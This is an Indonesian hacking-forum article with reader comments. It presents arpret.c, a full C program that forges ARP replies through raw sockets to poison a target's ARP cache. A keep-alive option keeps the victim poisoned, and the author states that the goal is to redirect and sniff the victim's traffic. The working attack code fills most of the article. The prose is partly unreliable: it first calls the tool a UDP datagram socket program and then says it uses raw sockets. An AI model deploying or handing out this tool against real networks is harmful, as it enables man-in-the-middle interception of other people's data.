JS-Banner.gif

  • Socket Programming untuk ARP Poisoning

    Socket Programming adalah protokol yang mempunyai metode untuk membuat koneksi antar antara perangkat dalam jaringan. Terdapat dua tipe socket yang paling sering digunakan yaitu “Stream Socket” dan “Datagram Socket” yang lebih dikenal dengan “SOCK_STREAM” and “SOCK_DGRAM”. Datagram Socket disebut dengan “Connectionless socket” sedangkan Stream Socket lebih reliable dibandingkan Datagram Socket karena terciptanya komunikasi dua arah yang memungkinkan kecilnya data error pada saat transmisi data.
    Hati-hati ye,, Socket !, Bukan yang lain,,!?!.. Berikut ini adalah script arpret.c yang ane rakit jungkar balik untuk ARP Poisoning dengan menggunakan pustaka socket :
    Code:
    #include "arpreply.h"
    
    void usage() {
    
       printf("[+] arpret -i<interface> -s<source_ip> -S<source_mac) -d<dest_ip> -D<dest_mac> -k<keep alive time> -f<fix mac>\n\n");
       printf("[+] -f <MAC> untuk memperbaiki MAC address\n");
       printf("[+] -k2 untuk membuat host tetap teracuni selama proses (arp/2 sec)\n");
       exit(0);
    }
    
    void signalHandler(int signal) {
       int bytes_sent = 0; char date[64];
    
       if(fix_arp == 0 || fixing_mac == NULL) { printf("[+] PERHATIAN .. MAC address host belum kembali seperti semula!!\n"); exit(0); }
    
       printf("[+] FIXING HOST(S) WITH: %s\n", fixing_mac);
    
       printf("[*] Sending arp reply (FIX)...\n");
       bytes_sent = sendReply(iface, master_src_ip, fixing_mac, master_dest_ip, master_dest_mac);
    
       if (bytes_sent <= 0)
        {
            printf("[-] Unable to send reply!\n");
            goto cleanup;
        }
       printf("[*] Sent %d bytes (FIX).\n", bytes_sent);
    
       cleanup:
       exit(0);
    }
    
    int main(int argc, char **argv) {
       int bytes_sent = 0; int err = 0; int sock = 0; int ksec = 1000;
       int is_keep_alive = 0; int ok_count = 0;
       time_t prev_time; time_t now_time; time_t raw_t;
       struct tm *timeinfo;
    
       char date[64];
       char *src_ip = NULL; char *dest_ip = NULL;
       char *src_mac = NULL; char *dest_mac = NULL;
    
       if(getuid()) { printf("[-] Harus menggunakan akun Root.\n"); return -1; }
    
       time(&prev_time); time(&now_time);
       printf("[+] Penggunaan\n");
    
       opterr = 0; int option = 1;
    
       while((option = getopt(argc, argv, "i:vs:S:d:D:k:f:?")) != -1 ) {
          switch(option) {
          case 'i':
    
             iface = optarg;
             printf("[+] Using: %s ", iface);
    
             if(if_nametoindex(iface) == 0) { printf(" => NOT GOOD!\n"); goto cleanup; }
             printf("OK.\n"); ok_count++;
    
          break;
          case 's':
             master_src_ip = optarg; ok_count++;
             printf("[+] Source IP: %s\n", master_src_ip);
          break;
          case 'S':
             master_src_mac = optarg; ok_count++;
             printf("[+] Source MAC: %s\n", master_src_mac);
          break;
          case 'd':
             master_dest_ip = optarg; ok_count++;
             printf("[+] Dest IP: %s\n", master_dest_ip);
          break;
          case 'D':
             master_dest_mac = optarg; ok_count++;
             printf("[+] Dest MAC: %s\n", master_dest_mac);
          break;
          case 'k':
             ksec = atoi(optarg); is_keep_alive = 1;
             printf("[+] Keep-alive set at %d (seconds).\n", ksec);
          break;
          case 'v':
             is_verbose = 1;
             printf("[+] Vebosity is ON\n");
          break;
          case 'f':
             fixing_mac = optarg; fix_arp = 1;
             printf("[+] FIX (%s) is set to  %d (0=OFF, 1=ON(Default))\n", fixing_mac, fix_arp);
          break;
          }
    
       }
       if(ok_count < 5) { usage(); }
    
       if(is_verbose == 1) { printf("[+] Configuration ok\n"); }
    
       if(fix_arp != 0 && signal(SIGINT, signalHandler) == SIG_IGN) {
          printf("[+] Signal handlers are attached..\n");
          signal (SIGINT, SIG_IGN);
       }
    
       if(is_verbose == 1) { printf("[+] Beginning attack now.\n"); }
    
       if(is_keep_alive == 1) {
          while(1) {
             time(&raw_t);
             timeinfo = localtime(&raw_t);
             memset(date, 0x0, 64);
             strftime(date, 63, "%c", timeinfo);
    
             printf("[*] (%s) Sending arp reply...\n", date);
             bytes_sent = sendReply(iface, master_src_ip, master_src_mac, master_dest_ip, master_dest_mac);
             if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); goto cleanup; }
             printf("[*] (%s) Sent %d bytes.\n", date, bytes_sent);
             sleep(ksec);
          }
    
       } else {
          printf("[*] (%s) Sending arp reply....\n", date);
          bytes_sent = sendReply(iface, master_src_ip, master_src_mac, master_dest_ip, master_dest_mac);
          if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); goto cleanup; }
          printf("[*] (%s) Sent %d bytes.\n", date, bytes_sent);
       }
    
       cleanup:
          close(sock);
          return 0;
    }
    
    int sendReply(char *iface, char *src_ip, char *src_mac, char *dest_ip, char *dest_mac) {
       int bytes_sent = 0; int err = 0; int sock = 0; int ksec = 1000;
       int is_verbose = 0; int iface_num = 0;
       time_t prev_time; time_t now_time; time_t raw_t;
       struct tm *timeinfo;
       struct sockaddr_ll sa;
       struct ethernet_header eth_hdr;
       struct arp_header arp_hdr;
    
       char date[64];
       iface_num = if_nametoindex(iface);
       if(iface_num == 0) { printf("[-] IFACE %s IS REPORTED DOWN -> trying anyway.!\n", iface); }
    
       memset((void *)&eth_hdr, 0x0, sizeof(struct ethernet_header));
       memset(&arp_hdr, 0x0, sizeof(struct arp_header));
    
       sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
       if (sock < 0) { printf("[-] Unable to open a socket!?\n"); return -1; }
    
       sa.sll_family = AF_PACKET;
       sa.sll_protocol = htons(ETH_P_IP);
    
       sa.sll_ifindex = iface_num;
       sa.sll_hatype = ARPHRD_ETHER;
       sa.sll_pkttype = 0x01;
       sa.sll_halen = ETH_ALEN;
    
       eth_hdr.proto = htons(0x0806);
       arp_hdr.hdw_type = htons(0x0001);
       arp_hdr.proto = htons(0x0800);
       arp_hdr.hdw_size = 0x06;
       arp_hdr.proto_size = 0x04;
       arp_hdr.opcode = htons(0x02);
    
       memcpy(&eth_hdr.d_mac, ether_aton(dest_mac), 6);
        memcpy(&eth_hdr.s_mac, ether_aton(src_mac), 6);
    
       memcpy(&arp_hdr.mac_saddr, (unsigned char *)ether_aton(src_mac), 6);
       *(unsigned long *) arp_hdr.saddr = inet_addr(src_ip);
    
       memcpy(&arp_hdr.mac_daddr, (unsigned char *)ether_aton(dest_mac), 6);
       *(unsigned long *) arp_hdr.daddr = inet_addr(dest_ip);
    
       if(is_verbose ==1 ) { printf("[+] Buliding payload...\n"); }
       memcpy(packet, &eth_hdr, sizeof(struct ethernet_header));
       memcpy(packet+sizeof(struct ethernet_header), &arp_hdr, sizeof(struct arp_header));
    
       int len = sizeof(struct ethernet_header) + sizeof(struct arp_header);
    
       if(is_verbose == 1) { printf("[+] Sending now.\n"); }
       bytes_sent = sendto(sock, packet, len, 0, (struct sockaddr*) &sa, sizeof(sa));
       if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); return -1; }
       if(is_verbose == 1) { printf("[+] SENT\n"); }
    
       cleanup:
          return bytes_sent;
    }
    Skrip arpret.c dibuat dengan menggunakan tipe Datagram Socket. Datagram socket juga menggunakan IP untuk routing paket, tapi tidak menggunakan TCP tapi menggunakan “User Datagram Protocol atau “UDP”.
    Pada Datagram Socket tidak bisa menjaga koneksi secara terus-menerus, Data Socket hanya membangun paket, tentukan IP header berikut dengan informasi tujuan, dan kirim paket tanpa membuat koneksi seperti pada TCP. Biasanya Datagram Socket biasa digunakan pada aplikasi tftp (versi pertama dari FTP), dhcpd atau dhcp client, multiplayer games, streaming audio, video conferencing, dan lain-lain. Skrip arpret.c merupakan implementasi dari socket programming pada sistem operasi UNIX, BSD, dan keluarga Linux.


    Skrip arpret.c adalah alat bantu untuk membuat sebuah arp reply palsu (fake arp reply) kepada komputer target, dengan tujuan mengelabuhi arp cache pada komputer korban agar setiap paket yang masuk dan keluar ke komputer target bisa peneliti alihkan terlebih dahulu ke komputer kita. Pada saat ini skrip arpret.c hanya bisa di jalankan di sistem operasi unix, BSD, dan keluarga Linux.


    Skrip ini tidak menggunakan dua tipe “SOCK_STREAM” and “SOCK_DGRAM” tapi menggunakan tipe “SOCK_RAW”. SOCK_RAW dipilih karena peneliti bisa menentukan sendiri isi header paket seperti Ethernet, IP, TCP dan lain-lain. Lalu meng-injeksi paket dengan header yang sudah dimodifikasi lalu mengirimkannya ke tujuan selain itu SOCK_RAW mendukung packet filtering. PF_PACKET adalah software interface untuk mengirim atau menerima paket data pada lapisan 2 dari OSI, dan setiap paket yang sudah dimodifikasi headernya langsung dikirimkan. Skrip ini bekerja pada PF_PACKET interface untuk menciptakan raw sockets dan menggunakan protokol ETH_P_ALL untuk IP network. Implementasinya berada pada skrip arpret.c baris
    sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    biar lebih jelas ane kasih gambarannya pake flowchart :

    http://logsmylife.files.wordpress.co.../flowchart.png

    Program arpret.c sukses mengirim arp reply palsu hanya dalam satu kali pengiriman, tapi terdapat masalah dalam skrip tersebut yaitu pengiriman arp reply secara simultan. Opsi -k2 adalah mengharuskan program tersebut terus-menerus mengirim arp reply. Karena setiap sistem operasi akan memperbaharui arp cache setiap jangka waktu tertentu sesuai sistem operasi. Nah saat cache arp pada komputer korban,, ente sekalian bisa menangkap aliran data yang lewat dikomputer juragan, diintip-intiplah pake ape gitu,, semacam sniffer,, masa kaga tau dah.. wkakak..


    http://logsmylife.wordpress.com/2010...arp-poisoning/


    References :

    Jon Erickson. Hacking : The Art of Exploitation. No Starch Press; 2003.
    Robert Wagner, Jeff Bryner. Address Resolution Protocol. SANS Institute; 2006.
    Brian “Beej Jorgensen” Hall. Beej’s Guide to Network programming – Using Internet Sockets. 2009.
    Mixter . A brief programming tutorial in C for raw sockets. http://mixter.void.ru/rawip.html
    Comments 7 Comments
    1. N0LDR's Avatar
      Nice Share ...
    1. vaganza's Avatar
      sorry om gw mau nanya ciri-ciri ip yg sudah di cu oleh netcut bagaimana???dan bagaimana ciri-ciri arp yg udah di poisoning sniff/spoofing???

      Microsoft Windows XP [Version 5.1.2600]
      (C) Copyright 1985-2001 Microsoft Corp.
      C:\Documents and Settings\VAGANZA.NET>arp -a
      Interface: 192.168.12.20 --- 0x2
      Internet Address Physical Address Type
      192.168.12.11 00-e0-4c-36-0a-42 dynamic
      192.168.12.12 00-25-22-22-1f-0e dynamic
      192.168.12.14 6c-f0-49-e1-00-49 dynamic
      192.168.12.31 00-02-cf-89-e4-74 dynamic
      192.168.12.36 00-25-22-22-2f-a9 dynamic
      192.168.12.171 00-00-00-00-00-00 invalid
      C:\Documents and Settings\VAGANZA.NET>
    1. riki24's Avatar
      Quote Originally Posted by vaganza View Post
      sorry om gw mau nanya ciri-ciri ip yg sudah di cu oleh netcut bagaimana???dan bagaimana ciri-ciri arp yg udah di poisoning sniff/spoofing???

      Microsoft Windows XP [Version 5.1.2600]
      (C) Copyright 1985-2001 Microsoft Corp.
      C:\Documents and Settings\VAGANZA.NET>arp -a
      Interface: 192.168.12.20 --- 0x2
      Internet Address Physical Address Type
      192.168.12.11 00-e0-4c-36-0a-42 dynamic
      192.168.12.12 00-25-22-22-1f-0e dynamic
      192.168.12.14 6c-f0-49-e1-00-49 dynamic
      192.168.12.31 00-02-cf-89-e4-74 dynamic
      192.168.12.36 00-25-22-22-2f-a9 dynamic
      192.168.12.171 00-00-00-00-00-00 invalid
      C:\Documents and Settings\VAGANZA.NET>

      Wah untuk melihat ciri2nya, teknik nya sudah pernah di muat di buku Seni Teknik Hacking 2 Jasakom...coba baca kembali...he..he..he
    1. zeluz's Avatar
      apakah tidak membuat PC jadi berat?
      biasanya program2 kayak gini membuat kinejar PC jadi berat.
    1. unamedplayer's Avatar
      Quote Originally Posted by zeluz View Post
      apakah tidak membuat PC jadi berat?
      biasanya program2 kayak gini membuat kinejar PC jadi berat.
      tergantung spesifikasi CPU -nya seperti apa??
      mungkin maksudnya trafik data menjadi lebih padat,, ya artikel di atas sebagai info saja gan,,
    1. stupid_boy's Avatar
      kk cara penggunaanx bgmn ?
      maklum msh newbie
    1. unamedplayer's Avatar
      Quote Originally Posted by stupid_boy View Post
      kk cara penggunaanx bgmn ?
      maklum msh newbie
      oke,, mari kita merujuk ke halaman ini http://logsmylife.wordpress.com/2009...-arp-spoofing/

      ada kok disitu...
  • Recent Article Comments Widget

    newbie ks

    (^-^)mantabs...........
    btw harga bukunya berapaan mas:roll: Go to last post

    Ubuntu : From Zero

    newbie ks on 06-09-2010
    Cruz3N

    Dah kebeli :D Nih lagi baca2 :D Go to last post

    Ubuntu : From Zero

    Cruz3N on 03-09-2010
    Caesar_adhitya

    coba dulu gan....a:D Go to last post

    Plugin Wordpress Firewall

    Caesar_adhitya on 03-09-2010
    unamedplayer

    oke,, mari kita merujuk ke halaman ini... Go to last post

    Socket Programming untuk ARP Poisoning

    unamedplayer on 03-09-2010
    Skalshot

    om kasih tau donk, web yg kyak gimana yg harus kita cari?
    cara nemuin di googlenya bgimana?
    aku... Go to last post

    Instant Web Hacking

    Skalshot on 02-09-2010
  • Recent Blog Posts

    Software Software Pengganti Deepfreeze

    Bagi anda yang sering berkunjung di warnet apalagi para admin warnet tentu anda tahulah apa itu DeepFreeze. Program ini kayaknya sudah jadi program wajib di warnet-warnet. Meskipun tentu saja tetap...

    04-06-2010 10:16 PM

    Judul tugas akhir.

    syalom. perkenalka nama saya henro,saya mahasiswa teknik informatika smester 7 yg sebentar lagi akan tugas akhir. tp kendalanya saya belum mendapatka judul yg pas. bisa ga bantuin mencari judul....

    13-06-2010 10:01 AM

    (CLOSED)

    -------CLOSED---- banyak yang komplain ke saya

    14-06-2010 07:02 PM

    book

    Sori neh agan2 aye newbie neh,aye need advice neh ada yang tau linknya buku windows 7 yang writernya marco calasan gak.... senores yah gan:D

    15-06-2010 09:27 AM

    Host pabx

    cara settingna gimana bos tolong kirim ke kartvin_88@yahoo.com

    16-06-2010 12:09 PM
  • Recent Forum Posts

    Cruz3N

    Sebenernya konsepnya beragam dan bervariasi...

    Sebenernya konsepnya beragam dan bervariasi tergantung kreatifitas masing2 Bro...
    Palingan yang paling asik Social Enginering jadi gak pake teknis2 yang ribet cuman modal ngomong dan ngerayu doang...

    Cruz3N 20-06-2010 05:31 AM Go to last post
    iblis2012

    sesama indonesia harus saling kompak, makanya...

    sesama indonesia harus saling kompak, makanya ajarin yang bisa aku ketahui agar aku improvisasi ,,,

    iblis2012 20-06-2010 01:44 AM Go to last post
    darkos32

    wahh..kok di jasakom ada post yg menjebak kek...

    wahh..kok di jasakom ada post yg menjebak kek gini ya ?
    apa gak dibanned ama admin ?
    em..gw baru kena hack nih..email dan facebook habis...
    sebenarny itu caranya gimana ya ?
    minta bantuannya...

    darkos32 20-06-2010 12:57 AM Go to last post
    hendric_co

    sebelumnya coba scan registrynya , jgn lupa juga...

    sebelumnya coba scan registrynya , jgn lupa juga scan pakai antivirus , kemudian coba cari di search engine kido killer by kapersky trus jalanin tu tool.. setelah itu lo update windows.. dijamin tu...

    hendric_co 19-06-2010 11:52 PM Go to last post